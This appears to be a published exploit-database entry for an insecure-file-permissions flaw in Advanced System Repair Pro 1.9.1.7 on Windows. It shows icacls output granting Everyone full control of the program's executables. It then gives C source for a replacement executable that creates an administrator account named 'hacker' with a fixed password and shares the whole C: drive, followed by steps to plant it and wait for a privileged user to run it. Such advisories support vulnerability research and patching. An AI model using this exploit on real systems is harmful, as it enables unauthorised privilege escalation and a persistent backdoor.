发布 2020-01-13 漏洞条目

Advanced System Repair Pro 1.9.1.7 – Insecure File Permissions

Exploit Source

# Exploit Title: Advanced System Repair Pro 1.9.1.7 - Insecure File Permissions

# Exploit Author: ZwX

# Exploit Date: 2020-01-12

# Vendor Homepage : https://advancedsystemrepair.com/

# Software Link: http://advancedsystemrepair.com/ASRProInstaller.exe

# Tested on OS: Windows 10

# Proof of Concept (PoC):

==========================

C:\Program Files\Advanced System Repair Pro 1.9.1.7.0>icacls *.exe

AdvancedSystemRepairPro.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

dsutil.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

tscmon.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

#Exploit code(s):

=================

1) Compile below 'C' code name it as "AdvancedSystemRepairPro.exe"

#include<windows.h>

int main(void){

system("net user hacker abc123 /add");

system("net localgroup Administrators hacker /add");

system("net share SHARE_NAME=c:\ /grant:hacker,full");

WinExec("C:\\Program Files\\Advanced System Repair Pro 1.9.1.7.0\\~AdvancedSystemRepairPro.exe",0);

return 0;

}

2) Rename original "AdvancedSystemRepairPro.exe" to "~AdvancedSystemRepairPro.exe"

3) Place our malicious "AdvancedSystemRepairPro.exe" in the Advanced System Repair Pro 1.9.1.7.0 directory

4) Disconnect and wait for a more privileged user to connect and use AdvancedSystemRepairPro IDE.

Privilege Successful Escalation

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